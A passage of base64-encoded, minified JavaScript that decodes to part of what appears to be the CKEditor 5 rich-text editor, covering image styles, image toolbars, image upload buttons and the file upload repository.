nRlcjpYeH07ZnVuY3Rpb24gaUQodD1bXSl7cmV0dXJuIHQubWFwKG9EKX1mdW5jdGlvbiBvRCh0KXtpZih0eXBlb2YgdD09InN0cmluZyIpe2NvbnN0IGU9dDtpZihlRFtlXSl7dD1PYmplY3QuYXNzaWduKHt9LGVEW2VdKX1lbHNle09iamVjdChzc1siYyJdKSgiaW1hZ2Utc3R5bGUtbm90LWZvdW5kIix7bmFtZTplfSk7dD17bmFtZTplfX19ZWxzZSBpZihlRFt0Lm5hbWVdKXtjb25zdCBlPWVEW3QubmFtZV07Y29uc3Qgbj1PYmplY3QuYXNzaWduKHt9LHQpO2Zvcihjb25zdCBpIGluIGUpe2lmKCFPYmplY3QucHJvdG90eXBlLmhhc093blByb3BlcnR5LmNhbGwodCxpKSl7bltpXT1lW2ldfX10PW59aWYodHlwZW9mIHQuaWNvbj09InN0cmluZyImJm5EW3QuaWNvbl0pe3QuaWNvbj1uRFt0Lmljb25dfXJldHVybiB0fWNsYXNzIHJEIGV4dGVuZHMgbkN7c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIkltYWdlU3R5bGVFZGl0aW5nIn1pbml0KCl7Y29uc3QgdD10aGlzLmVkaXRvcjtjb25zdCBlPXQubW9kZWwuc2NoZW1hO2NvbnN0IG49dC5kYXRhO2NvbnN0IGk9dC5lZGl0aW5nO3QuY29uZmlnLmRlZmluZSgiaW1hZ2Uuc3R5bGVzIixbImZ1bGwiLCJzaWRlIl0pO2NvbnN0IG89aUQodC5jb25maWcuZ2V0KCJpbWFnZS5zdHlsZXMiKSk7ZS5leHRlbmQoImltYWdlIix7YWxsb3dBdHRyaWJ1dGVzOiJpbWFnZVN0eWxlIn0pO2NvbnN0IHI9WXgobyk7aS5kb3duY2FzdERpc3BhdGNoZXIub24oImF0dHJpYnV0ZTppbWFnZVN0eWxlOmltYWdlIixyKTtuLmRvd25jYXN0RGlzcGF0Y2hlci5vbigiYXR0cmlidXRlOmltYWdlU3R5bGU6aW1hZ2UiLHIpO24udXBjYXN0RGlzcGF0Y2hlci5vbigiZWxlbWVudDpmaWd1cmUiLFF4KG8pLHtwcmlvcml0eToibG93In0pO3QuY29tbWFuZHMuYWRkKCJpbWFnZVN0eWxlIixuZXcgcXgodCxvKSl9fXZhciBzRD1uKDQyKTt2YXIgYUQ9e2luamVjdFR5cGU6InNpbmdsZXRvblN0eWxlVGFnIixhdHRyaWJ1dGVzOnsiZGF0YS1ja2UiOnRydWV9fTthRC5pbnNlcnQ9ImhlYWQiO2FELnNpbmdsZXRvbj10cnVlO3ZhciBjRD1yaygpKHNEWyJhIl0sYUQpO3ZhciBsRD1zRFsiYSJdLmxvY2Fsc3x8e307Y2xhc3MgZEQgZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iSW1hZ2VTdHlsZVVJIn1nZXQgbG9jYWxpemVkRGVmYXVsdFN0eWxlc1RpdGxlcygpe2NvbnN0IHQ9dGhpcy5lZGl0b3IudDtyZXR1cm57IkZ1bGwgc2l6ZSBpbWFnZSI6dCgiRnVsbCBzaXplIGltYWdlIiksIlNpZGUgaW1hZ2UiOnQoIlNpZGUgaW1hZ2UiKSwiTGVmdCBhbGlnbmVkIGltYWdlIjp0KCJMZWZ0IGFsaWduZWQgaW1hZ2UiKSwiQ2VudGVyZWQgaW1hZ2UiOnQoIkNlbnRlcmVkIGltYWdlIiksIlJpZ2h0IGFsaWduZWQgaW1hZ2UiOnQoIlJpZ2h0IGFsaWduZWQgaW1hZ2UiKX19aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10LmNvbmZpZy5nZXQoImltYWdlLnN0eWxlcyIpO2NvbnN0IG49dUQoaUQoZSksdGhpcy5sb2NhbGl6ZWREZWZhdWx0U3R5bGVzVGl0bGVzKTtmb3IoY29uc3QgdCBvZiBuKXt0aGlzLl9jcmVhdGVCdXR0b24odCl9fV9jcmVhdGVCdXR0b24odCl7Y29uc3QgZT10aGlzLmVkaXRvcjtjb25zdCBuPWBpbWFnZVN0eWxlOiR7dC5uYW1lfWA7ZS51aS5jb21wb25lbnRGYWN0b3J5LmFkZChuLChuPT57Y29uc3QgaT1lLmNvbW1hbmRzLmdldCgiaW1hZ2VTdHlsZSIpO2NvbnN0IG89bmV3IGN3KG4pO28uc2V0KHtsYWJlbDp0LnRpdGxlLGljb246dC5pY29uLHRvb2x0aXA6dHJ1ZSxpc1RvZ2dsZWFibGU6dHJ1ZX0pO28uYmluZCgiaXNFbmFibGVkIikudG8oaSwiaXNFbmFibGVkIik7by5iaW5kKCJpc09uIikudG8oaSwidmFsdWUiLChlPT5lPT09dC5uYW1lKSk7dGhpcy5saXN0ZW5UbyhvLCJleGVjdXRlIiwoKCk9PntlLmV4ZWN1dGUoImltYWdlU3R5bGUiLHt2YWx1ZTp0Lm5hbWV9KTtlLmVkaXRpbmcudmlldy5mb2N1cygpfSkpO3JldHVybiBvfSkpfX1mdW5jdGlvbiB1RCh0LGUpe2Zvcihjb25zdCBuIG9mIHQpe2lmKGVbbi50aXRsZV0pe24udGl0bGU9ZVtuLnRpdGxlXX19cmV0dXJuIHR9Y2xhc3MgaEQgZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHJlcXVpcmVzKCl7cmV0dXJuW3JELGREXX1zdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iSW1hZ2VTdHlsZSJ9fWNsYXNzIGZEIGV4dGVuZHMgbkN7c3RhdGljIGdldCByZXF1aXJlcygpe3JldHVybltqeV19c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIldpZGdldFRvb2xiYXJSZXBvc2l0b3J5In1pbml0KCl7Y29uc3QgdD10aGlzLmVkaXRvcjtpZih0LnBsdWdpbnMuaGFzKCJCYWxsb29uVG9vbGJhciIpKXtjb25zdCBlPXQucGx1Z2lucy5nZXQoIkJhbGxvb25Ub29sYmFyIik7dGhpcy5saXN0ZW5UbyhlLCJzaG93IiwoZT0+e2lmKHBEKHQuZWRpdGluZy52aWV3LmRvY3VtZW50LnNlbGVjdGlvbikpe2Uuc3RvcCgpfX0pLHtwcmlvcml0eToiaGlnaCJ9KX10aGlzLl90b29sYmFyRGVmaW5pdGlvbnM9bmV3IE1hcDt0aGlzLl9iYWxsb29uPXRoaXMuZWRpdG9yLnBsdWdpbnMuZ2V0KCJDb250ZXh0dWFsQmFsbG9vbiIpO3RoaXMub24oImNoYW5nZTppc0VuYWJsZWQiLCgoKT0+e3RoaXMuX3VwZGF0ZVRvb2xiYXJzVmlzaWJpbGl0eSgpfSkpO3RoaXMubGlzdGVuVG8odC51aSwidXBkYXRlIiwoKCk9Pnt0aGlzLl91cGRhdGVUb29sYmFyc1Zpc2liaWxpdHkoKX0pKTt0aGlzLmxpc3RlblRvKHQudWkuZm9jdXNUcmFja2VyLCJjaGFuZ2U6aXNGb2N1c2VkIiwoKCk9Pnt0aGlzLl91cGRhdGVUb29sYmFyc1Zpc2liaWxpdHkoKX0pLHtwcmlvcml0eToibG93In0pfWRlc3Ryb3koKXtzdXBlci5kZXN0cm95KCk7Zm9yKGNvbnN0IHQgb2YgdGhpcy5fdG9vbGJhckRlZmluaXRpb25zLnZhbHVlcygpKXt0LnZpZXcuZGVzdHJveSgpfX1yZWdpc3Rlcih0LHthcmlhTGFiZWw6ZSxpdGVtczpuLGdldFJlbGF0ZWRFbGVtZW50OmksYmFsbG9vbkNsYXNzTmFtZTpvPSJjay10b29sYmFyLWNvbnRhaW5lciJ9KXtpZighbi5sZW5ndGgpe09iamVjdChzc1siYyJdKSgid2lkZ2V0LXRvb2xiYXItbm8taXRlbXMiLHt0b29sYmFySWQ6dH0pO3JldHVybn1jb25zdCByPXRoaXMuZWRpdG9yO2NvbnN0IHM9ci50O2NvbnN0IGE9bmV3IEd3KHIubG9jYWxlKTthLmFyaWFMYWJlbD1lfHxzKCJXaWRnZXQgdG9vbGJhciIpO2lmKHRoaXMuX3Rvb2xiYXJEZWZpbml0aW9ucy5oYXModCkpe3Rocm93IG5ldyBzc1siYSJdKCJ3aWRnZXQtdG9vbGJhci1kdXBsaWNhdGVkIix0aGlzLHt0b29sYmFySWQ6dH0pfWEuZmlsbEZyb21Db25maWcobixyLnVpLmNvbXBvbmVudEZhY3RvcnkpO3RoaXMuX3Rvb2xiYXJEZWZpbml0aW9ucy5zZXQodCx7dmlldzphLGdldFJlbGF0ZWRFbGVtZW50OmksYmFsbG9vbkNsYXNzTmFtZTpvfSl9X3VwZGF0ZVRvb2xiYXJzVmlzaWJpbGl0eSgpe2xldCB0PTA7bGV0IGU9bnVsbDtsZXQgbj1udWxsO2Zvcihjb25zdCBpIG9mIHRoaXMuX3Rvb2xiYXJEZWZpbml0aW9ucy52YWx1ZXMoKSl7Y29uc3Qgbz1pLmdldFJlbGF0ZWRFbGVtZW50KHRoaXMuZWRpdG9yLmVkaXRpbmcudmlldy5kb2N1bWVudC5zZWxlY3Rpb24pO2lmKCF0aGlzLmlzRW5hYmxlZHx8IW8pe2lmKHRoaXMuX2lzVG9vbGJhckluQmFsbG9vbihpKSl7dGhpcy5faGlkZVRvb2xiYXIoaSl9fWVsc2UgaWYoIXRoaXMuZWRpdG9yLnVpLmZvY3VzVHJhY2tlci5pc0ZvY3VzZWQpe2lmKHRoaXMuX2lzVG9vbGJhclZpc2libGUoaSkpe3RoaXMuX2hpZGVUb29sYmFyKGkpfX1lbHNle2NvbnN0IHI9by5nZXRBbmNlc3RvcnMoKS5sZW5ndGg7aWYocj50KXt0PXI7ZT1vO249aX19fWlmKG4pe3RoaXMuX3Nob3dUb29sYmFyKG4sZSl9fV9oaWRlVG9vbGJhcih0KXt0aGlzLl9iYWxsb29uLnJlbW92ZSh0LnZpZXcpO3RoaXMuc3RvcExpc3RlbmluZyh0aGlzLl9iYWxsb29uLCJjaGFuZ2U6dmlzaWJsZVZpZXciKX1fc2hvd1Rvb2xiYXIodCxlKXtpZih0aGlzLl9pc1Rvb2xiYXJWaXNpYmxlKHQpKXttRCh0aGlzLmVkaXRvcixlKX1lbHNlIGlmKCF0aGlzLl9pc1Rvb2xiYXJJbkJhbGxvb24odCkpe3RoaXMuX2JhbGxvb24uYWRkKHt2aWV3OnQudmlldyxwb3NpdGlvbjpnRCh0aGlzLmVkaXRvcixlKSxiYWxsb29uQ2xhc3NOYW1lOnQuYmFsbG9vbkNsYXNzTmFtZX0pO3RoaXMubGlzdGVuVG8odGhpcy5fYmFsbG9vbiwiY2hhbmdlOnZpc2libGVWaWV3IiwoKCk9Pntmb3IoY29uc3QgdCBvZiB0aGlzLl90b29sYmFyRGVmaW5pdGlvbnMudmFsdWVzKCkpe2lmKHRoaXMuX2lzVG9vbGJhclZpc2libGUodCkpe2NvbnN0IGU9dC5nZXRSZWxhdGVkRWxlbWVudCh0aGlzLmVkaXRvci5lZGl0aW5nLnZpZXcuZG9jdW1lbnQuc2VsZWN0aW9uKTttRCh0aGlzLmVkaXRvcixlKX19fSkpfX1faXNUb29sYmFyVmlzaWJsZSh0KXtyZXR1cm4gdGhpcy5fYmFsbG9vbi52aXNpYmxlVmlldz09PXQudmlld31faXNUb29sYmFySW5CYWxsb29uKHQpe3JldHVybiB0aGlzLl9iYWxsb29uLmhhc1ZpZXcodC52aWV3KX19ZnVuY3Rpb24gbUQodCxlKXtjb25zdCBuPXQucGx1Z2lucy5nZXQoIkNvbnRleHR1YWxCYWxsb29uIik7Y29uc3QgaT1nRCh0LGUpO24udXBkYXRlUG9zaXRpb24oaSl9ZnVuY3Rpb24gZ0QodCxlKXtjb25zdCBuPXQuZWRpdGluZy52aWV3O2NvbnN0IGk9Rl8uZGVmYXVsdFBvc2l0aW9ucztyZXR1cm57dGFyZ2V0Om4uZG9tQ29udmVydGVyLm1hcFZpZXdUb0RvbShlKSxwb3NpdGlvbnM6W2kubm9ydGhBcnJvd1NvdXRoLGkubm9ydGhBcnJvd1NvdXRoV2VzdCxpLm5vcnRoQXJyb3dTb3V0aEVhc3QsaS5zb3V0aEFycm93Tm9ydGgsaS5zb3V0aEFycm93Tm9ydGhXZXN0LGkuc291dGhBcnJvd05vcnRoRWFzdCxhdl19fWZ1bmN0aW9uIHBEKHQpe2NvbnN0IGU9dC5nZXRTZWxlY3RlZEVsZW1lbnQoKTtyZXR1cm4hIShlJiZYXyhlKSl9Y2xhc3Mga0QgZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHJlcXVpcmVzKCl7cmV0dXJuW2ZEXX1zdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iSW1hZ2VUb29sYmFyIn1hZnRlckluaXQoKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9dC50O2NvbnN0IG49dC5wbHVnaW5zLmdldChmRCk7bi5yZWdpc3RlcigiaW1hZ2UiLHthcmlhTGFiZWw6ZSgiSW1hZ2UgdG9vbGJhciIpLGl0ZW1zOnQuY29uZmlnLmdldCgiaW1hZ2UudG9vbGJhciIpfHxbXSxnZXRSZWxhdGVkRWxlbWVudDpodn0pfX1jbGFzcyBiRCBleHRlbmRzIHRie2NvbnN0cnVjdG9yKHQpe3N1cGVyKHQpO3RoaXMuYnV0dG9uVmlldz1uZXcgY3codCk7dGhpcy5fZmlsZUlucHV0Vmlldz1uZXcgd0QodCk7dGhpcy5fZmlsZUlucHV0Vmlldy5iaW5kKCJhY2NlcHRlZFR5cGUiKS50byh0aGlzKTt0aGlzLl9maWxlSW5wdXRWaWV3LmJpbmQoImFsbG93TXVsdGlwbGVGaWxlcyIpLnRvKHRoaXMpO3RoaXMuX2ZpbGVJbnB1dFZpZXcuZGVsZWdhdGUoImRvbmUiKS50byh0aGlzKTt0aGlzLnNldFRlbXBsYXRlKHt0YWc6InNwYW4iLGF0dHJpYnV0ZXM6e2NsYXNzOiJjay1maWxlLWRpYWxvZy1idXR0b24ifSxjaGlsZHJlbjpbdGhpcy5idXR0b25WaWV3LHRoaXMuX2ZpbGVJbnB1dFZpZXddfSk7dGhpcy5idXR0b25WaWV3Lm9uKCJleGVjdXRlIiwoKCk9Pnt0aGlzLl9maWxlSW5wdXRWaWV3Lm9wZW4oKX0pKX1mb2N1cygpe3RoaXMuYnV0dG9uVmlldy5mb2N1cygpfX1jbGFzcyB3RCBleHRlbmRzIHRie2NvbnN0cnVjdG9yKHQpe3N1cGVyKHQpO3RoaXMuc2V0KCJhY2NlcHRlZFR5cGUiKTt0aGlzLnNldCgiYWxsb3dNdWx0aXBsZUZpbGVzIixmYWxzZSk7Y29uc3QgZT10aGlzLmJpbmRUZW1wbGF0ZTt0aGlzLnNldFRlbXBsYXRlKHt0YWc6ImlucHV0IixhdHRyaWJ1dGVzOntjbGFzczpbImNrLWhpZGRlbiJdLHR5cGU6ImZpbGUiLHRhYmluZGV4OiItMSIsYWNjZXB0OmUudG8oImFjY2VwdGVkVHlwZSIpLG11bHRpcGxlOmUudG8oImFsbG93TXVsdGlwbGVGaWxlcyIpfSxvbjp7Y2hhbmdlOmUudG8oKCgpPT57aWYodGhpcy5lbGVtZW50JiZ0aGlzLmVsZW1lbnQuZmlsZXMmJnRoaXMuZWxlbWVudC5maWxlcy5sZW5ndGgpe3RoaXMuZmlyZSgiZG9uZSIsdGhpcy5lbGVtZW50LmZpbGVzKX10aGlzLmVsZW1lbnQudmFsdWU9IiJ9KSl9fSl9b3Blbigpe3RoaXMuZWxlbWVudC5jbGljaygpfX1mdW5jdGlvbiBDRCh0KXtjb25zdCBlPXQubWFwKCh0PT50LnJlcGxhY2UoIisiLCJcXCsiKSkpO3JldHVybiBuZXcgUmVnRXhwKGBeaW1hZ2VcXC8oJHtlLmpvaW4oInwiKX0pJGApfWZ1bmN0aW9uIEFEKHQpe3JldHVybiBuZXcgUHJvbWlzZSgoKGUsbik9Pntjb25zdCBpPXQuZ2V0QXR0cmlidXRlKCJzcmMiKTtmZXRjaChpKS50aGVuKCh0PT50LmJsb2IoKSkpLnRoZW4oKHQ9Pntjb25zdCBuPXZEKHQsaSk7Y29uc3Qgbz1uLnJlcGxhY2UoImltYWdlLyIsIiIpO2NvbnN0IHI9YGltYWdlLiR7b31gO2NvbnN0IHM9bmV3IEZpbGUoW3RdLHIse3R5cGU6bn0pO2Uocyl9KSkuY2F0Y2gobil9KSl9ZnVuY3Rpb24gX0QodCl7aWYoIXQuaXMoImVsZW1lbnQiLCJpbWciKXx8IXQuZ2V0QXR0cmlidXRlKCJzcmMiKSl7cmV0dXJuIGZhbHNlfXJldHVybiB0LmdldEF0dHJpYnV0ZSgic3JjIikubWF0Y2goL15kYXRhOmltYWdlXC9cdys7YmFzZTY0LC9nKXx8dC5nZXRBdHRyaWJ1dGUoInNyYyIpLm1hdGNoKC9eYmxvYjovZyl9ZnVuY3Rpb24gdkQodCxlKXtpZih0LnR5cGUpe3JldHVybiB0LnR5cGV9ZWxzZSBpZihlLm1hdGNoKC9kYXRhOihpbWFnZVwvXHcrKTtiYXNlNjQvKSl7cmV0dXJuIGUubWF0Y2goL2RhdGE6KGltYWdlXC9cdyspO2Jhc2U2NC8pWzFdLnRvTG93ZXJDYXNlKCl9ZWxzZXtyZXR1cm4iaW1hZ2UvanBlZyJ9fXZhciB5RD0nPHN2ZyB2aWV3Qm94PSIwIDAgMjAgMjAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHBhdGggZD0iTTYuOTEgMTAuNTRjLjI2LS4yMy42NC0uMjEuODguMDNsMy4zNiAzLjE0IDIuMjMtMi4wNmEuNjQuNjQgMCAwIDEgLjg3IDBsMi41MiAyLjk3VjQuNUgzLjJ2MTAuMTJsMy43MS00LjA4em0xMC4yNy03LjUxYy42IDAgMS4wOS40NyAxLjA5IDEuMDV2MTEuODRjMCAuNTktLjQ5IDEuMDYtMS4wOSAxLjA2SDIuNzljLS42IDAtMS4wOS0uNDctMS4wOS0xLjA2VjQuMDhjMC0uNTguNDktMS4wNSAxLjEtMS4wNWgxNC4zOHptLTUuMjIgNS41NmExLjk2IDEuOTYgMCAxIDEgMy40LTEuOTYgMS45NiAxLjk2IDAgMCAxLTMuNCAxLjk2eiIvPjwvc3ZnPic7Y2xhc3MgeEQgZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iSW1hZ2VVcGxvYWRVSSJ9aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10LnQ7dC51aS5jb21wb25lbnRGYWN0b3J5LmFkZCgiaW1hZ2VVcGxvYWQiLChuPT57Y29uc3QgaT1uZXcgYkQobik7Y29uc3Qgbz10LmNvbW1hbmRzLmdldCgiaW1hZ2VVcGxvYWQiKTtjb25zdCByPXQuY29uZmlnLmdldCgiaW1hZ2UudXBsb2FkLnR5cGVzIik7Y29uc3Qgcz1DRChyKTtpLnNldCh7YWNjZXB0ZWRUeXBlOnIubWFwKCh0PT5gaW1hZ2UvJHt0fWApKS5qb2luKCIsIiksYWxsb3dNdWx0aXBsZUZpbGVzOnRydWV9KTtpLmJ1dHRvblZpZXcuc2V0KHtsYWJlbDplKCJJbnNlcnQgaW1hZ2UiKSxpY29uOnlELHRvb2x0aXA6dHJ1ZX0pO2kuYnV0dG9uVmlldy5iaW5kKCJpc0VuYWJsZWQiKS50byhvKTtpLm9uKCJkb25lIiwoKGUsbik9Pntjb25zdCBpPUFycmF5LmZyb20obikuZmlsdGVyKCh0PT5zLnRlc3QodC50eXBlKSkpO2lmKGkubGVuZ3RoKXt0LmV4ZWN1dGUoImltYWdlVXBsb2FkIix7ZmlsZTppfSl9fSkpO3JldHVybiBpfSkpfX1jbGFzcyBERHtjb25zdHJ1Y3Rvcih0KXt0aGlzLmNvbnRleHQ9dH1kZXN0cm95KCl7dGhpcy5zdG9wTGlzdGVuaW5nKCl9c3RhdGljIGdldCBpc0NvbnRleHRQbHVnaW4oKXtyZXR1cm4gdHJ1ZX19X3MoREQsSmMpO2NsYXNzIEVEIGV4dGVuZHMgRER7c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIlBlbmRpbmdBY3Rpb25zIn1pbml0KCl7dGhpcy5zZXQoImhhc0FueSIsZmFsc2UpO3RoaXMuX2FjdGlvbnM9bmV3IHZzKHtpZFByb3BlcnR5OiJfaWQifSk7dGhpcy5fYWN0aW9ucy5kZWxlZ2F0ZSgiYWRkIiwicmVtb3ZlIikudG8odGhpcyl9YWRkKHQpe2lmKHR5cGVvZiB0IT09InN0cmluZyIpe3Rocm93IG5ldyBzc1siYSJdKCJwZW5kaW5nYWN0aW9ucy1hZGQtaW52YWxpZC1tZXNzYWdlIix0aGlzKX1jb25zdCBlPU9iamVjdC5jcmVhdGUoSmMpO2Uuc2V0KCJtZXNzYWdlIix0KTt0aGlzLl9hY3Rpb25zLmFkZChlKTt0aGlzLmhhc0FueT10cnVlO3JldHVybiBlfXJlbW92ZSh0KXt0aGlzLl9hY3Rpb25zLnJlbW92ZSh0KTt0aGlzLmhhc0FueT0hIXRoaXMuX2FjdGlvbnMubGVuZ3RofWdldCBmaXJzdCgpe3JldHVybiB0aGlzLl9hY3Rpb25zLmdldCgwKX1bU3ltYm9sLml0ZXJhdG9yXSgpe3JldHVybiB0aGlzLl9hY3Rpb25zW1N5bWJvbC5pdGVyYXRvcl0oKX19Y2xhc3MgTUR7Y29uc3RydWN0b3IoKXtjb25zdCB0PW5ldyB3aW5kb3cuRmlsZVJlYWRlcjt0aGlzLl9yZWFkZXI9dDt0aGlzLl9kYXRhPXVuZGVmaW5lZDt0aGlzLnNldCgibG9hZGVkIiwwKTt0Lm9ucHJvZ3Jlc3M9dD0+e3RoaXMubG9hZGVkPXQubG9hZGVkfX1nZXQgZXJyb3IoKXtyZXR1cm4gdGhpcy5fcmVhZGVyLmVycm9yfWdldCBkYXRhKCl7cmV0dXJuIHRoaXMuX2RhdGF9cmVhZCh0KXtjb25zdCBlPXRoaXMuX3JlYWRlcjt0aGlzLnRvdGFsPXQuc2l6ZTtyZXR1cm4gbmV3IFByb21pc2UoKChuLGkpPT57ZS5vbmxvYWQ9KCk9Pntjb25zdCB0PWUucmVzdWx0O3RoaXMuX2RhdGE9dDtuKHQpfTtlLm9uZXJyb3I9KCk9PntpKCJlcnJvciIpfTtlLm9uYWJvcnQ9KCk9PntpKCJhYm9ydGVkIil9O3RoaXMuX3JlYWRlci5yZWFkQXNEYXRhVVJMKHQpfSkpfWFib3J0KCl7dGhpcy5fcmVhZGVyLmFib3J0KCl9fV9zKE1ELEpjKTtjbGFzcyBTRCBleHRlbmRzIG5De3N0YXRpYyBnZXQgcGx1Z2luTmFtZSgpe3JldHVybiJGaWxlUmVwb3NpdG9yeSJ9c3RhdGljIGdldCByZXF1aXJlcygpe3JldHVybltFRF19aW5pdCgpe3RoaXMubG9hZGVycz1uZXcgdnM7dGhpcy5sb2FkZXJzLm9uKCJhZGQiLCgoKT0+dGhpcy5fdXBkYXRlUGVuZGluZ0FjdGlvbigpKSk7dGhpcy5sb2FkZXJzLm9uKCJyZW1vdmUiLCgoKT0+dGhpcy5fdXBkYXRlUGVuZGluZ0FjdGlvbigpKSk7dGhpcy5fbG9hZGVyc01hcD1uZXcgTWFwO3RoaXMuX3BlbmRpbmdBY3Rpb249bnVsbDt0aGlzLnNldCgidXBsb2FkZWQiLDApO3RoaXMuc2V0KCJ1cGxvYWRUb3RhbCIsbnVsbCk7dGhpcy5iaW5kKCJ1cGxvYWRlZFBlcmNlbnQiKS50byh0aGlzLCJ1cGxvYWRlZCIsdGhpcywidXBsb2FkVG90YWwiLCgodCxlKT0+ZT90L2UqMTAwOjApKX1nZXRMb2FkZXIodCl7cmV0dXJuIHRoaXMuX2xvYWRlcnNNYXAuZ2V0KHQpfHxudWxsfWNyZWF0ZUxvYWRlcih0KXtpZighdGhpcy5jcmVhdGVVcGxvYWRBZGFwdGVyKXtPYmplY3Qoc3NbImMiXSkoImZpbGVyZXBvc2l0b3J5LW5vLXVwbG9hZC1hZGFwdGVyIik7cmV0dXJuIG51bGx9Y29uc3QgZT1uZXcgVEQoUHJvbWlzZS5yZXNvbHZlKHQpLHRoaXMuY3JlYXRlVXBsb2FkQWRhcHRlcik7dGhpcy5sb2FkZXJzLmFkZChlKTt0aGlzLl9sb2FkZXJzTWFwLnNldCh0LGUpO2lmKHQgaW5zdGFuY2VvZiBQcm9taXNlKXtlLmZpbGUudGhlbigodD0+e3RoaXMuX2xvYWRlcnNNYXAuc2V0KHQsZSl9KSkuY2F0Y2goKCgpPT57fSkpfWUub24oImNoYW5nZTp1cGxvYWRlZCIsKCgpPT57bGV0IHQ9MDtmb3IoY29uc3QgZSBvZiB0aGlzLmxvYWRlcnMpe3QrPWUudXBsb2FkZWR9dGhpcy51cGxvYWRlZD10fSkpO2Uub24oImNoYW5nZTp1cGxvYWRUb3RhbCIsKCgpPT57bGV0IHQ9MDtmb3IoY29uc3QgZSBvZiB0aGlzLmxvYWRlcnMpe2lmKGUudXBsb2FkVG90YWwpe3QrPWUudXBsb2FkVG90YWx9fXRoaXMudXBsb2FkVG90YWw9dH0pKTtyZXR1cm4gZX1kZXN0cm95TG9hZGVyKHQpe2NvbnN0IGU9dCBpbnN0YW5jZW9mIFREP3Q6dGhpcy5nZXRMb2FkZXIodCk7ZS5fZGVzdHJveSgpO3RoaXMubG9hZGVycy5yZW1vdmUoZSk7dGhpcy5fbG9hZGVyc01hcC5mb3JFYWNoKCgodCxuKT0+e2lmKHQ9PT1lKXt0aGlzLl9sb2FkZXJzTWFwLmRlbGV0ZShuKX19KSl9X3VwZGF0ZVBlbmRpbmdBY3Rpb24oKXtjb25zdCB0PXRoaXMuZWRpdG9yLnBsdWdpbnMuZ2V0KEVEKTtpZih0aGlzLmxvYWRlcnMubGVuZ3RoKXtpZighdGhpcy5fcGVuZGluZ0FjdGlvbil7Y29uc3QgZT10aGlzLmVkaXRvci50O2NvbnN0IG49dD0+YCR7ZSgiVXBsb2FkIGluIHByb2dyZXNzIil9ICR7cGFyc2VJbnQodCl9JS5gO3RoaXMuX3BlbmRpbmdBY3Rpb249dC5hZGQobih0aGlzLnVwbG9hZGVkUGVyY2VudCkpO3RoaXMuX3BlbmRpbmdBY3Rpb24uYmluZCgibWVzc2FnZSIpLnRvKHRoaXMsInVwbG9hZGVkUGVyY2VudCIsbil9fWVsc2V7dC5yZW1vdmUodGhpcy5fcGVuZGluZ0FjdGlvbik7dGhpcy5fcGVuZGluZ0FjdGlvbj1udWxsfX19X3MoU0QsSmMpO2NsYXNzIFREe2NvbnN0cnVjdG9yKHQsZSl7dGhpcy5pZD1ucygpO3RoaXMuX2ZpbGVQcm9taXNlV3JhcHBlcj10aGlzLl9jcmVhdGVGaWxlUHJvbWlzZVdyYXBwZXIodCk7dGhpcy5fYWRhcHRlcj1lKHRoaXMpO3RoaXMuX3JlYWRlcj1uZXcgTUQ7dGhpcy5zZXQoInN0YXR1cyIsImlkbGUiKTt0aGlzLnNldCgidXBsb2FkZWQiLDApO3RoaXMuc2V0KCJ1cGxvYWRUb3RhbCIsbnVsbCk7dGhpcy5iaW5kKCJ1cGxvYWRlZFBlcmNlbnQiKS50byh0aGlzLCJ1cGxvYWRlZCIsdGhpcywidXBsb2FkVG90YWwiLCgodCxlKT0+ZT90L2UqMTAwOjApKTt0aGlzLnNldCgidXBsb2FkUmVzcG9uc2UiLG51bGwpfWdldCBmaWxlKCl7aWYoIXRoaXMuX2ZpbGVQcm9taXNlV3JhcHBlcil7cmV0dXJuIFByb21pc2UucmVzb2x2ZShudWxsKX1lbHNle3JldHVybiB0aGlzLl9maWxlUHJvbWlzZVdyYXBwZXIucHJvbWlzZS50aGVuKCh0PT50aGlzLl9maWxlUHJvbWlzZVdyYXBwZXI/dDpudWxsKSl9fWdldCBkYXRhKCl7cmV0dXJuIHRoaXMuX3JlYWRlci5kYXRhfXJlYWQoKXtpZih0aGlzLnN0YXR1cyE9ImlkbGUiKXt0aHJvdyBuZXcgc3NbImEiXSgiZmlsZXJlcG9zaXRvcnktcmVhZC13cm9uZy1zdGF0dXMiLHRoaXMpfXRoaXMuc3RhdHVzPSJyZWFkaW5nIjtyZXR1cm4gdGhpcy5maWxlLnRoZW4oKHQ9PnRoaXMuX3JlYWRlci5yZWFkKHQpKSkudGhlbigodD0+e2lmKHRoaXMuc3RhdHVzIT09InJlYWRpbmciKXt0aHJvdyB0aGlzLnN0YXR1c310aGlzLnN0YXR1cz0iaWRsZSI7cmV0dXJuIHR9KSkuY2F0Y2goKHQ9PntpZih0PT09ImFib3J0ZWQiKXt0aGlzLnN0YXR1cz0iYWJvcnRlZCI7dGhyb3ciYWJvcnRlZCJ9dGhpcy5zdGF0dXM9ImVycm9yIjt0aHJvdyB0aGlzLl9yZWFkZXIuZXJyb3I/dGhpcy5fcmVhZGVyLmVycm9yOnR9KSl9dXBsb2FkKCl7aWYodGhpcy5zdGF0dXMhPSJpZGxlIil7dGhyb3cgbmV3IHNzWyJhIl0oImZpbGVyZXBvc2l0b3J5LXVwbG9hZC13cm9uZy1zdGF0dXMiLHRoaXMpfXRoaXMuc3RhdHVzPSJ1cGxvYWRpbmciO3JldHVybiB0aGlzLmZpbGUudGhlbigoKCk9PnRoaXMuX2FkYXB0ZXIudXBsb2FkKCkpKS50aGVuKCh0PT57dGhpcy51cGxvYWRSZXNwb25zZT10O3RoaXMuc3RhdHVzPSJpZGxlIjtyZXR1cm4gdH0pKS5jYXRjaCgodD0+e2lmKHRoaXMuc3RhdHVzPT09ImFib3J0ZWQiKXt0aHJvdyJhYm9ydGVkIn10aGlzLnN0YXR1cz0